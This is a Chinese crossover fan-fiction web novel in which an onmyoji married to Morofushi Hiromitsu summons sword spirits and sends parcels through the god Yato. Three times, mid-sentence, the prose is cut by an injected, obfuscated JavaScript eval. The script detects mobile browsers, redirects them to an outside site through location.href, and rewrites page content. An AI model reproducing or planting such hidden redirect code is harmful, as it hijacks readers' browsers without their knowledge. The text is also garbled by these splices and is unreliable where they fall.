《阴阳师和诸伏结婚后的第n年》 1. 第 1 章 名幸琉璃,20岁的已婚女性。 和身边的诸多青梅竹马一样,她和丈夫诸伏景光成为一对恩爱的小情侣可以算是水到渠成的,高中毕业正式交往,又在交往两年后共同迈入婚姻。 而相较于告白交往,做下结婚这个决定却要显得突然不少。 那是在名幸琉璃大二刚结束,也是诸伏景光警校开学前的假期,她忍不住回忆起当时的情况。 毕竟已经正式交往有差不多两年,又是从小认识的青梅竹马,到对方家里去也是常有的一件事。 就是在那个到hiro家里蹭饭的中午,又刚好那天zero临时有事不在,(他们两个当时是合租关系),当时她就坐在对着厨房餐桌上,支着下巴看着围着围裙的hiro在灶台前忙活。 hiro极具人妻的气质一如既往地让名幸琉璃有一种心痒痒的感觉,然后就在那时候,恰到好处又水到渠成的,她支着下巴很平常又显得心血来潮地喊道:“hiro。” 因为语气过于平常,当时hiro大概还以为她是想要点餐,手下动作都没停地温和地回答道:“怎么了?是有什么想吃的吗,不过冰箱里的食材只有那些,要吃别的得等下次了……” 然后就措不及防地听到了来自她用这样平静得像是在表述等会还想吃什么的语气陈述道:“嘛,忽然有种很想立即和hiro结婚的感觉。” 后来回想起来,名幸琉璃很庆幸那时候hiro不是在切菜,虽然表面上很快就镇定地转过身,脸上带着和平时一样笑容,可以看出里面有些无奈和放纵的情绪。 “如果琉璃你不是开玩笑或者一时冲动的话,我没有问题哦……。” 但再次回忆的时候……,不管是从表情还是动作的细节,明明就也很紧张嘛。 说实话,当时在说出这句话后名幸琉璃自己也楞住了,但看到hiro这么淡定的样子,莫名的有种要是没端住就输了的感觉。 反正他们本来就是情侣,有一方求婚也是很正常的流程。 在心里对自己这么说之后,便干脆睁大眼睛一脸无辜道:“诶,真是狡猾啊hiro,明明我才是求婚的那个,虽然没有鲜花和戒指……” 说到后面的时候因为想起别的小情侣求婚时一般会准备的东西,双手空空一时兴起的她明显因为心虚而声音小了不少。 其实她本来也打算在这几天找个好时机求婚的,只是这时候突然感觉气氛到了。 啊,所以果然还是有些太草率了啊。 结果hiro却说:“或许我该庆幸琉璃还没有准备戒指。”在脱下围裙洗了手后从房间里拿出了一个方形的盒子,脸上是温柔而郑重的浅笑。 怎么说,虽然hiro一看就是有提前准备,但单论速度的话果然还是她赢了! 在这样浪漫的时候,也许是一时脑回路没有搭对,这是看着hiro给她戴上戒指的时候名幸琉璃脑海里的第一想法。 想起当时的情况,名幸琉璃又忍不住露出甜蜜的浅笑。 “琉璃sama,这个水好像有点太多了……” 直到听到五虎退小声的提醒,她这才回过神来放下花洒,强装镇定地咳嗽了一声:“说起来,也差不多该出发了。” 和hiro正式登记结婚后,在亲朋的祝福和支持下,两人也搬进了新家。 家具什么的还好说,但作为一名阴阳师,有些原本放在京都老宅的材料却有些不太方便,趁着今天空闲下来,名幸琉璃正准备回一趟老宅。 五虎退点头声音有些小道:“嗨!” 脚边的几只小老虎听到她的话也跟着昂起头做出随时准备出门的姿态,看得名幸琉璃有些有些忍俊不禁地揉了揉五虎退的脑袋。 当然……,也没有忘记下面的几只小老虎。 亲昵的姿态让五虎退有些害羞地抱起其中一只小虎,即使相伴多年,退在容易害羞这点上还是没有太大变化,只是在看在名幸琉璃温柔的笑容时忍不住想道:琉璃sama刚才绝对是想起景光sama了吧。 穿着淡黄色带花穗暗纹和服的黑长直式神也从里间走出来道:“琉璃酱,行李这边也准备好了。” 名幸琉璃接过帮忙收拾好的行李同时露出一个有些卖乖的笑容:“辛苦栗姬了!” 说是行李,但因为老宅那边有专人每隔一段时间进行打扫,东西也都基本齐全,所以要带的东西其实并不算多。 五虎退伸出手想要帮忙拿上一些,却被名幸琉璃以不被看见的话遇到坏人才更有出其不意的感觉的理由拒绝了。 即使知道退作为刀剑付丧神已经存在很久,甚至在她看起来像退这么大的时候退就已经陪在她身边,但这种时候还是总会有种雇佣童工的感觉啊。 “说得也是,我会保护好琉璃sama的。” 这么说着,五虎退紧跟在名幸琉璃身旁,一只手警惕地搭在刀鞘上,伴生的五只小老虎也都昂着头摆出一副护卫的样子围在名幸琉璃周围。 这样开道的架势本来应该是很足的,奈何五虎退作为短刀天然就是小孩子的模样,看起来还是可爱占了上风,连旁边日常厌世脸安静站在一旁的栗姬都因为这画面露出一点浅笑。 索性经历了十多年这种极/道老大出门在前开道的阵仗,加上无论是退栗姬还是五只小老虎一般人都是看不到的,名幸琉璃早就能够很习惯地当做其实什么都没有发生了。 —— 樱花灿烂的季节之中,在经历了种种事宜后,今年警视厅警察学校的五个志同道合的新生也很快相熟交好了起来。 此时正是吃午饭的时候,五个人各自端着饭盘坐在同一张桌子上,萩原研二正用十分肯定的语气道:“所以说,班长你一定是喜欢小降谷吧!” 降谷零正吃着饭,听到这话差点没被噎住,连连拍打着自己的胸口,伊达航也发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013252|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了惊讶的疑问:“萩原你为什么会这么认为?” 在萩原研二用十分自信的语气说出了自己的观察和推理后,出乎意料地得到了伊达航的否认:“其实我已经有女朋友了。” 听到这话,萩原研二松田阵平和降谷零都不约而同的露出了豆豆眼:“什么!” “因为娜塔莉也是混血,所以看到降谷的时候总是忍不住会更迁就一点。”伊达航不好意思地摸着后脑勺解释。 伊达航的解释让几人勉强接受,萩原研二失望于自己的猜测居然错了,接着又开始好奇班长的女朋友会是哪种类型,良好的洞察力也没让他错过诸伏景光毫不意外的表情。 “但是小诸伏居然完全不惊讶吗?!” “啊,这个的话……”诸伏景光还没说完,伊达航就搂住他的肩膀爽朗道,“和娜塔莉打电话的时候经常遇到诸伏。” 降谷零先是有些疑惑,但很快反应过来露出了然的表情。 警校的管理比较严格,尤其是刚开学前一个月,想要和外校的人联系就只能去使用公共电话亭了。 作为幼驯染,hiro打电话最多的对象他显然再清楚不过了。 松田阵平还没反应过来:“没想到诸伏居然是那种恋家的类型啊。” 萩原研二却已经对诸伏景光挤眉弄眼起来了:“小诸伏居然也已经是现充了啊。” 诸伏景光却摆了摆手,语气难得带着点炫耀的意味:“我和琉璃已经不是男女朋友了。” “诶?!”x3 是比刚才听到班长有女朋友还是惊讶的语气。 果然听见知情人降谷零用平静的语气抛出大瓜:“那是因为hiro和名幸已经结婚了。” 诸伏景光点头表示zero说的没错,同时脸上的笑容更加灿烂了。 伊达航只是稍微有点羡慕:“这么早就结婚了吗。” 平时就表现得情感丰沛的萩原研二则是立即露出了被中伤了的表情:“这样的话可以去联谊的人选一下就少了两个……呜” 因为一下爆出两个小伙伴都有对象了,松田阵平庆幸自己刚才没在吃东西的同时又忍不住用诡异的眼神又看向降谷零:“金发大老师你不会也有对象了吧。” 不怪他多想,上了警校后总共就认识了三个新朋友,虽然以他们这个年纪也不算奇怪,但都已经有两人有对象了,再加一个好像也不突兀。 萩原研二也跟着看向降谷零打趣道:“嘛,难道说和研二酱一起去参加联谊的对象又要再减一人吗?” 好在降谷零立即摆手否认了这点,还顺便解释了一下诸伏景光这么早结婚的原因:“hiro名幸和我,我们三个从小就认识了。” “青梅竹马啊。”萩原研二了然,根据他这些年的所见所闻,很多青梅竹马在长大后都会变成情侣。 而且霓虹这个地方,怎么说……,青梅竹马的成分还是很高的…… 2. 第 2 章 作为在最鼎盛时期光族人就有近千人的大家族,名幸家祖宅无疑的大的,而其中最大也最壮观的便是用特殊的术式构筑出来的储藏室。 只能使用特殊的术法进入,里面放着名幸家从祖辈起留下来的各种珍贵的资料和材料,可以说是名幸家的根本所在,也是名幸琉璃这次回来的目的。 一进入到其中,名幸琉璃和式神们便分工明确地走到了对应的角落。 然后她突然听见栗姬清脆的声音从储藏室的另一角传来。 “琉璃酱,这里好像有个暗门?” “诶?”名幸琉璃诧异地顺着声音走到栗姬所在地位置,五虎退也停下了手里的动作带着老虎们聚了过来。 出于习惯,在把两个玄色的长条形盒子从暗格里拿出来后,名幸琉璃没有急着打开,而是先检查了一遍。 在这之前,五虎退像是感觉到了什么,语气有些犹疑道:“琉璃sama……,有种熟悉的感觉。” 五只小老虎看起来也有些兴奋。 这样的表现倒是让名幸琉璃兴致更为浓郁了,但还是保持细致的动作,在粗略检查过一遍后将其中一个盒子打开。 冷兵器的光泽从盒中透出,闪着一种豪爽之气,肉眼可见的一把好刀。 也难怪退会觉得熟悉了。 退是她小时候第一次接触剑道时父亲所赠送的礼物,虽然自身灵力充足,但因为一开始没想到可以将灵力注入进去,还是在和栗姬契约后才召唤出来的。 短刀天然的小孩子一般的化形,让年幼的她一下就接受并当成是逝去的父亲留给她的玩伴。 原本还因为无法融入普通的孩子而感到的孤独难过也一下就随之消散了。 虽然看起来性格比较内向,但比起栗姬,退其实已经在名幸家待了好几百年,即使没有见过名幸家最繁荣的时候,也侍奉了有近十代家主。 这是一柄精美的打刀,因为退的缘故,名幸琉璃也曾认真学习了解过刀剑相关的知识,只一眼,便看出这是她曾经在博物馆看到过的,历史上赫赫有名的压切长谷部。 大魔王织田信长曾经的佩刀。 作为阴阳师,名幸琉璃自然地忽视了某些不唯物的部分,没有停顿地打开了另一个盒子。 果然,这里也是一把刀,只是比刚才那把打刀要更长一些,从刀种来看显然是把太刀。 “居然是鹤丸国永吗。”即使猜到这里应该也是一把名刀,在认出其真身的时候名幸琉璃还是诧异了一瞬。 五虎退跟着小声感慨道:“上次见到好像是有好几百年了,原来在这里吗?” 虽然同为刀剑付丧神,但短刀作为护身刀常常更多地被使用。 相较而言,即使在意外从时政流落到这个世界后侍奉于同一主家,上次见到鹤丸殿和长谷部殿好像也是很久以前了。 有五虎退身上的经验,名幸琉璃试着将自己的灵力输入刀中。 很快,一阵绚烂的樱花在眼前绽开。 “哟,我是鹤丸国永,我这样突然降临是不是很惊讶。”* “我名为压切长谷部。只要是阿路基的命令,无论什么都为您完成。”* 在这样有些昏暗的储藏室内,名幸琉璃脸上带着得体的微笑:“初次见面,我是名幸家第23代家主,名幸琉璃,之后请多指教。” 果然,不管看到多少次也还是觉得很有趣啊,从历史的剪影中召唤出对应的刀剑还不影响原本的历史轨迹什么的。 之前因为准备讨伐羽衣狐而没能找出时间,现在对于已经闲下来的她而言,花个五六年研究这种术,加强对阴阳术的深造,好像也是个不错的选择。 说完自我介绍,性格比较跳一点的鹤丸国永先是好奇地打量了周围一圈,很快出声道:“这就是这一任的主人啊,23代,还真是过去好久了啊。” 旁边的压切长谷部也跟着低下头表现出任凭吩咐的姿态:“阿路基。” 显然,在名幸家待的时间不短,也更换过不少任主人的他们对于一觉醒来换了新主人的情况适应良好。 “那么,麻烦你们分担一下这些书了。”而对于新来的式神,名幸琉璃也没有见外地立即给他们安排上了对应的活。 这样落落大方的样子,再结合身体里感受到的温暖柔和又不乏强势的灵力,虽然还是第一次见面,却也给鹤丸国永和压切长谷部留下了不错的第一印象。 看起来,这一任是为能力出众的家主啊,不仅是气场,灵力也是强大又温和包容的感觉。 —— 祖宅这边在她过来前就已经收拾妥当了,因为新的伙伴的加入,名幸琉璃还特意将印象中小时候和父亲一起偷偷埋在树下的陈酿挖了一坛出来,办了个小型的欢迎会。 一番饮酌笑闹之后,在一向注重健康的栗姬的强烈要求下,她喝完醒酒茶又等了有一会才进入到后面单独隔出的温泉中洗去一天的疲劳。 舒适的水温包裹住全身,名幸琉璃享受的微微眯上眼睛。 大概是情感作用吧,每次还是老宅这边的温泉泡着最舒服了,下一次一定要喊hiro过来一起泡。 正在这时,放在旁边的手机响起,她微微起身拿过。 上面是某个熟悉的特别关注的号码。 现在好像正好是平时和hiro打电话的时间,刚才玩闹的太过居然完全没注意到时间。 名幸琉璃有些心虚地往下沉了一点,带起的一点水声被通过电话传到对面,被诸伏景光敏锐地捕捉到。 于是短暂的沉默两秒后,对面的声音有些迟疑道:“琉璃是在……” 啊,是害羞了吗? 名幸琉璃手指在鬓角垂下的一小戳头发上绕了绕,毕竟还是新婚,哪怕已经认识很多年了,hiro在某些时候也会容易害羞呢。 但她就完全不一样了,每次要是感到hiro害羞了,就会忍不住想要得寸进尺。 就像这时,意识到诸伏景光好像有些害羞了,名幸琉璃用一只手掬起一些温泉水发出更大的水声,同时坦然道: “是在泡温泉哦,之前就有和hiro你说过了,老宅这边的温泉超级舒服,你下次hiro你放假了我们可以一起过来泡。” 名幸琉璃高中三年是在离老宅比较近的北宇治高中就读,高中寒暑假的时候诸伏景光和降谷零也有应邀来这里住过一段时间,温泉的存在还是知道的。 那时两人甚至都还没有交往,只能算是暧昧的拉扯,甚至因为名幸琉璃心有顾忌,两人的感情进展甚至一度进入了僵持状态。 直到高中毕业的时候hiro不知道为什么突然表白,对着那样的视线她又实在说不出拒绝的话,要不然以他们的进展说不准还要再晚上几年。 又有所顾忌不想直接挑明交往,又囿于感情做不出直接疏远的决定,现在她每次回想起那时候别扭的情感,都会有种好笑感。 要说起来,那时候最辛苦的果然还是降谷吧,因为当时她和hiro还是暧昧关系,每次约人的时候都会叫上他一起。 有时候看他们没有进展,降谷的表现比她和hiro都还要着急不少。 出乎名幸琉璃的意料,hiro这次居然直接正面回答了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013253|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“嗯……,我很期待,……琉璃酱有找到需要的资料吗?” 虽然后面还是转移话题了,但这样下去,说不定很快就看不到会脸红的hiro了。 名幸琉璃在心里发出遗憾的感慨。 因为从小就认识,诸伏景光知道名幸家往上几代都是资深的民俗研究者,家里也因此留下了大量的资料。 受此影响,琉璃酱从小就对民俗传说很感兴趣,以前就经常和他分享一些关于妖怪的故事,只是因为国内几个比较好的大学开设的这个专业的专业性都不高,才转而学习了第二感兴趣的地质学。 好在名幸家相关藏书本就很多,她平时私底下也会自己研究,诸伏景光以为她这次回老宅是为了拿一些更加深入的资料。 这个话题显然转得有些生硬,好在名幸琉璃也没戳破。 他们现在可是分隔两地,再如何让hiro害羞也不能亲眼看到,想做些什么也更不可能啊。 名幸琉璃叹了口气,顺着诸伏景光的询问把话题转开:“不仅找到了资料,今天还遇到了以前没见过的长辈。” 作为跟着名幸家这么多代的刀剑付丧神,鹤丸国永和压切长谷部也确实是能算是她的长辈,还是辈分超级高的那种。 诸伏景光没有多想:“需要找个时间上门拜访吗?” 虽然琉璃酱的父母已经不在了,但除了养父母外诸伏景光也不是第一次听到她提起什么长辈了,据说好像还都是父亲母亲爷爷奶奶太爷爷太奶奶甚至再往上的直系长辈留下的人脉。 这么说起来…… 明明他没怎么在民俗界听到名幸这个姓氏,但名幸家的人脉却好像格外宽广。 “这个嘛……,有机会会见到的。” 名幸琉璃卖着关子,哪怕她不太愿意将hiro牵扯到这边的世界来,但以他们之间的关系和hiro敏锐的观察力也是早晚会知道的。 与其这样,倒不如她在生活中慢慢透露出一些。 只是这要怎么透露她还没有想好,也是因为她之前说的民俗学的说辞太符合加上从小喜欢妖怪传说的印象太深,平时家里就算出现一些奇怪的东西,hiro自己也能给圆回去。 想到这,名幸琉璃又叹了口气,披上浴衣往房间的方向走,一阵衣服摩挲的声音之后是木屐踩在地板上的清脆声: “不过比起拜见长辈,我好久没见到hiro了,hiro难道不想我吗,我可是非常非常想见到hiro呢!” 真挚的告白让诸伏景光卡壳了一瞬,然后是比起名幸琉璃的坦然表露要小声一些却也同样带着思念与爱意的坚定回应:“我也很想快点见到琉璃酱。” 他们的婚房并不在买在米花町内,但也在相距不远的隔壁町,再过四五天警校的一个月封闭训练就结束了,诸伏景光决定那时候回家一趟。 这点名幸琉璃也知道,或者说因为还在黏糊糊的新婚期就被迫分开,她开学没多久就一直期待着警校放假。 “对了,我记得hiro说在警校认识了新的朋友,这次也邀请过来吃顿饭吧。” 虽然hiro看着温和容易接近,但其实这么多年来身边亲近的朋友也就只有她和降谷,长野那边的小操也勉强算一个。 因此听到他说在警校认识了不错的朋友,名幸琉璃便很想招待一番。 “我会和他们说的,不用特意准备什么,他们也不会待多久的。” 正因为关系很好,所以才会这么说吧,听到诸伏景光的话,名幸琉璃这么想着,但也没有反驳:“嗨嗨,hiro一定要记得带人过来做客啊。” 3. 第 3 章 名幸琉璃,东都大学地质专业三年级生,明面上是一个普通学生,实际上却和里世界有着诸多牵扯。 作为阴阳师家族中的名门之一,名幸家无疑是一枝典型的奇葩,比起消除妖怪却对研究妖怪更感兴趣,认为妖怪也分好妖与恶妖,有着只除恶妖这样的家族理念。 名幸家祖上不乏有和大妖怪成为朋友的先祖,现在以合法黑/道组织活跃在人类社会中的奴良组的一代目就和名幸家的一位先祖有着共同对抗羽衣狐的美谈,虽然也造成了两方一起被诅咒的结果…… 在这样的家庭背景之下,名幸琉璃有着那么些妖怪朋友显然也不过是其中微不足道的一笔而已。 因此在这个属于春天的时节,对于临走前还空着的客厅茶几上杂七杂八地放着一些还带着露水的应季果子和鲜花,名幸琉璃也是见怪不怪了。 在走近之后,她甚至在角落的位子还看到了一坛看起来像是酒的东西,也不知道是自己酿的还是从哪里找到的。 而这些显然应该都是她的妖怪朋友们留下的。 不过还好,至少这次没有像是活鱼这样的东西,不然在老宅待了三四天后,这边肯定都臭掉了。 缺水的鱼在临死前肯定也免不了挣扎一番,那样的话茶几旁边的榻榻米也肯定要遭殃了。 虽然这样,能收到来自妖怪伙伴的礼物,名幸琉璃心情还是很不错的。 栗姬熟练地找出一个适合的篮子,名幸琉璃和几个式神便先将这些山货收了进去。 鹤丸国永还感慨道:“果然这任阿路基也很受欢迎呢。”说着这话的时候还十分自然地拿起两颗青枣用衣服擦了擦就放进嘴里。 看得原本就在收拾的压切长谷部手速顿时又快出了残影免得更多青枣落入鹤丸国永的口中,与旁边慢条斯理将鲜花上的花瓣摘下准备拿去做鲜花饼的栗姬形成了鲜明的对比。 旁边的名幸琉璃忍不住笑出声,干脆将茶几上一些能直接入口的水果都拿了一些分给大家:“没事的,反正这些本来就是分给大家吃的。” 鹤丸国永认同地点头:“没错没错,这可是阿路基说的,而且那些小妖怪在挑山货上也非常有一手,青枣特别甜哦。” 虽然距离上一次出来已经过去很久,这里也不是他前几任主人惯常待着的京都,但妖怪的寿命大多很长,说不定就有几个老熟人。 就算没有也无所谓,反正鹤最擅长交朋友了。 压切长谷部这才停下动作低头‘嗨!’的一声应道,同时一脸虔诚得好像要将其供起来地捧起名幸琉璃给他的那份水果,也算是无声胜有声了。 “不过……”名幸琉璃看着已经装了一个大篮子却还剩下不少的山货陷入了沉思,“这次带过来的确实有些太多了。” 尤其还有不少是不太好存放的。 难道是因为这两天有什么妖怪聚会吗?毕竟那些妖怪的娱乐方式比较单调,最喜欢的就是有事没事办个聚会一起喝酒。 好在她很快就想到了个两全其美的方法,拿出手机拨出某个熟悉的电话号码,又起身去阳台剪了几支开得灿烂的粉玫瑰花,再用干满天星做配包好。 作为一手将阳台变为一个小花园的爱花之人,名幸琉璃包花的速度可以说熟练又快速。 而此时,沙发上的某位运动服神明已经十分自然地翘着二郎腿品尝起茶几上的水果了。 不仅如此,相较于上次,这次他的旁边还跟了一位金色头发的男孩。 “新收的神器吗,也对,神明没有神器会很麻烦呢。”名幸琉璃了然,在她包花的时候五虎退几人就已经帮着又拿了个小篮子装了些水果,现在将这束花放在上面刚刚好。 “不过没想到夜斗你这次的神器是个这么小的孩子。”而且神器的样子年龄会保留在死去的时候,这也意味着这孩子才这么大的时候就已经…… 作为阴阳师,名幸琉璃其实见过很多让她忍不住垂眸的故事,但每一次都还是忍不住为此感伤。只是因为现在当事人就在眼前,脸上很快又挂上温和的浅笑。 夜斗的脸上立即露出得意的表情,手搭在雪音的肩膀上,整个身体倾斜着靠了过去:“这孩子名叫雪音,别看他这样,可是个逸才呢。” 雪音小声嘟囔了句:“什么叫别看这样。”却可以看出和夜斗之间相处得还不错。 本来还以为是普通的单子,没想到这单的雇主居然也不是普通人吗,看到几人隐隐表现出的以名幸琉璃为主的态度,又联想到夜斗曾带他见过的天神和小福。 尤其是名幸琉璃可能自己也没意识到,虽然笑得随和,但可能是从小就作为名幸家的主事人,有一些东西已经镌刻在她的骨子里了: 强大优雅,明明看起来很随和,又有种让人看不透且难以接近的感觉。 简单来说,就是一看就是个大人物。 使得雪音在一番联想后忍不住脱口而出道:“难道说,您也是神明吗?” 名幸琉璃愣了一下,有些无奈道:“诶?我吗?我可不是什么神明哦。” 偏偏压切长谷部还在旁边十分认同道:“对于我等来说,主人可要比神明还要耀眼。” 鹤丸国永也跟着道:“没错没错,鹤也这么认为,主人不愧是这一任的家主,之前的主人肯定也都会很喜欢主人的。” 五虎退小声道:“琉璃大人是最好的!” 栗姬瞥了旁边的夜斗一眼,语气淡淡地拉踩道:“至少比什么夜斗神好个一千一万倍吧。” 只一瞬间,就变成了几个式神对名幸琉璃的吹捧大会了。 令夜斗立马从沙发上跳了起来:“什么!那家伙哪里像神明了,怎么说我夜斗神才是正统的神吧,琉璃小鬼明明就是个普通……,稍微有点不普通的阴阳师罢了!” 名幸琉璃顺着自我介绍道:“你好,我是名幸琉璃,一名阴阳师。” 虽然知道自己这是搞错了,但雪音的视线还是忍不住在看起来端庄高贵的名幸琉璃和穿着运动服围着破围巾的夜斗之间来回移动了一下,虽然没说话,但表达出的意思已经十分明显了。 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013254|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是名幸琉璃解围地介绍道:“嘛,鹤丸、长谷部还有退和栗姬都是我的式神,从始至终都是非人类的那种,或者也可以称为妖怪或者精怪……,当然是和你们处理的那种邪祟是完全不同的类型了。” 看出夜斗和雪音可能才相处没多久,鹤丸国永在名幸琉璃解释的时候还俏皮地和学弟眨了眨眼睛。 一点都看不出来其实已经活了很久,反倒有种活泼过头了感觉。 相较而言,压切长谷部则是完全不同的类型,直言道:“闲聊可以等会再说,将阿路基交代的事情立马完成才是最重要的!” 而夜斗对这个态度也有所预料,虽然他也是在最近不再接杀人的愿望之后才和名幸琉璃成为朋友的。 但名幸家毕竟是很有历史的家族,在这漫长的历史之中,夜斗和他们家的几个刀剑付丧神有过几次接触也是理所当然。 乃至压切长谷部和鹤丸国永刚才看到夜斗过来的第一反应居然都是:夜斗那个家伙吗,现在居然变成这样了,和以前完全就是两个人的样子。 于是只见夜斗‘嗨嗨嗨’地应了几声,便直接拿起放在茶几上装着水果和鲜花的篮子迅速消失了。 突然得让雪音都反应了两秒后才站起来生气道:“夜斗这个家伙!” 接着就听到看起来比他还有小上不少的五虎退低着头小声道:“夜斗桑回来之前,就先休息一会吧,琉璃大人是个很温柔的人,雪音君有想知道的事情也可以问我们。” 细心的五虎退看出雪音因为乍然被留在不熟悉环境中不自在,以及好像是刚刚成为神器而对很多事情不太了解的情况。 几只小老虎也因为感受到主人的意愿而想要帮忙的围在雪音脚边蹭蹭,看起来格外热情。 这样看起来比自己还有小上不少的孩子腼腆又礼貌和自己说话,旁边还有数只可爱的小猫,雪音原本气恼的情绪顿时消散下来,同时又有点不好意思。 栗姬虽然丧着一张脸没什么表情,但也从厨房端出一叠点心放到雪音的面前。 名幸琉璃安慰道:“不用担心,只是送快递的话夜斗可是很熟练了。” 因为鹤丸国永的插科打诨,几人的关系也跟着拉进了些,虽然还是有些拘束,但雪音也放松了不少。 从盘子里拿起一块点心,雪音好奇地询问道:“夜斗他之前也经常接名幸桑的……呃,快递委托吗?” 名幸琉璃点头:“毕竟作为阴阳师,对于神明的感觉也比一般人要高很多嘛,这样说起来的话……,夜斗也可以说是我和我家旦那的爱情信使。” 要知道当时她和hiro分隔在京都和东京,能在网络技术还没发展得这么完善的时候保持高频的交流,就是靠的夜斗天天来往于两地间送信。 虽然并不认识名幸桑的丈夫,但看到名幸桑提起他时幸福的表情,雪音感觉自己吃了好大一口狗粮。 不过比起这个,虽然表现出一副不在意的样子,犹豫了片刻后,他还是忍不住问道:“……名幸桑,您和夜斗那家伙已经认识很久了吗?” 4. 第 4 章 夜斗对给名幸琉璃和诸伏景光这对小夫妻送快递这件事可以说是轻车熟路了。 尤其是这对小夫妻相识这么多年来始终保持着一定的通信交流频率。 不说他现在对新的送信地址——警视厅警察学校的整个布局已经了如指掌,单是明明只要一段时间不见诸伏景光就应该失去关于夜斗的记忆,结果却到现在都对夜斗印象深刻,就很能代表什么了。 都不需要多说,从手机里播出一个熟悉的号码,听到对面询问的一声:“夜斗桑?”,熟练地在诸伏景光的宿舍里闪现。 完美的落地,篮子里的东西也稳稳当当地甚至没有移动一下,夜斗甚至还自得地摆了个满分的pose。 但要说有什么美中不足的话…… 因为太过熟练而没有提前侦查,在他睁开眼后才意识到屋里不止一个人。 看到屋子里五个围坐姿态的人齐齐转过头来,就算是夜斗也忍不住身体僵了僵,然后才做出一副若无其事的样子,吹着口哨的同时用双手将篮子往前一送露出大大的笑容: “锵锵,夜斗牌爱心快递已经送达,还请签收!” 这间屋子的主人诸伏景光倒是很快反应过来的接过篮子:“麻烦您了,夜斗桑。” 只是他一脸习以为常,剩下的四个人却没那么好过关,就连也见过夜斗不少次,只是因为没有诸伏景光频繁,所以此时看到夜斗没能立马回想起相关记忆的降谷零脸上也忍不住露出一点异色: “警校的守卫应该还挺严格的吧?而且,这里也不是一楼二楼啊!”他们刚刚在聊天没往这边看,但这个人完全就是突然出现的吧。 只是刚说完这句话,记忆姗姗来迟的降谷零突然想起之前不少次像是他和hiro两个人一起去野外或者海边的时候突然冒出来的夜斗桑。 甚至还有几次是他们一起去国外修学旅行,然后hiro只是打了个电话的功夫,夜斗桑就出现了。 这样对比一下,好像突然出现在hiro的宿舍里也不是特别奇怪的事情了。 “也对……,如果是夜斗桑的话就完全不奇怪了。”回忆起来的降谷零嘴巴变成‘^’形地小声自语道。 明明之前也见过那么多次夜斗桑,甚至他们也认识十多年了,刚才居然还会冒出这个人是谁这样的念头,真是太失礼了。 降谷零内心懊恼,而且这还不是第一次了,平日里的好记性每次遇到夜斗桑的时候就像是突然出走了一样。 这实在太不应该了! 一向性格认真的降谷零在心里对自己再次谴责。 而松田阵平萩原研二和伊达航则不约而同地闪过:究竟是什么样的人才会得到这种评价啊!这样的念头。 眼看现在情况不对,夜斗有些心虚地后退半步,趁着三人询问地看向降谷零和诸伏景光,十分迅速的撤退。 以至于三人转头想要再询问夜斗些什么的时候,发现这个莫名出现的人又突然消失了。 “所以说,景老板,那个是你朋友吗?他到底是怎么上来的啊……” 虽然对这家伙溜走的速度有些无语,但看诸伏和降谷都认识他的样子,应该不是什么危险人物。 或者说,看他那一身运动服和脸上有些滑稽的表情,如果不是这个送快递方式有些怪,其实更像是不务正业逃课出来打工的高中生。 诸伏景光此时脸上正带着因为收到妻子爱心快件而不自觉露出的甜蜜微笑。 他动作熟练地将花束拆开,把里面的粉玫瑰和满天星稍微修剪一下后插到桌子上的素色花瓶里,同时用旁边的小喷水在花瓣上撒上一些水使它绽放的时间能够更为长久。 至于花瓶里原本放置的那一束花,诸伏景光则打算之后做成干花保存起来。 看得在场的几个单身人士不约而同地露出揶揄的表情。 诸伏景光:“嗯,说起来距离第一次见到夜斗桑都已经有十多年了吧,虽然每次都是麻烦他送信送东西之类的,夜斗桑的生活好像比较窘迫,我和琉璃还有zero每次遇到都会请他吃过饭再走,倒是这次有些不太巧。” 而且也不知道是不是在坚持什么,明明夜斗桑看起来挺落魄的,脖子上那条破旧的围巾也戴了好几年了,但每次帮忙送东西都坚持只收五元钱,而且十多年都没涨过价。 以现在的物价来讲,五元钱甚至连一瓶饮料都买不起。 提到送信,诸伏景光下意识看向桌子的另一角,那里原本放着一封信和一个五元硬币。 因为感觉差不多到了琉璃酱托夜斗桑送东西的时候,他提前写了一封信放在那里,没想到夜斗桑走得这么快,本来还以为要等下次了,看过去的时候才发现信和五元硬币也跟着消失了。 其实要谈的话题他们大多在电话里讲完了,只是小时候还没有电话的时候他和琉璃酱多靠信件交流,写信这件事本身对于他们就有点特殊的意味,于是这样的习惯也就保留了下来。 “诶?!居然已经认识十多年了,但是小降谷和小诸伏不是幼驯染吗,刚才小降谷好像都没第一时间认出那位夜斗桑。” 萩原研二的话使降谷零又灰败了一度,好在诸伏景光及时解围:“这个应该是夜斗桑的体质问题吧,他好像那种会让人不自觉忽视存在感的类型,有时候我隔了一段时间没看到夜斗桑也会一下没反应过来呢。” 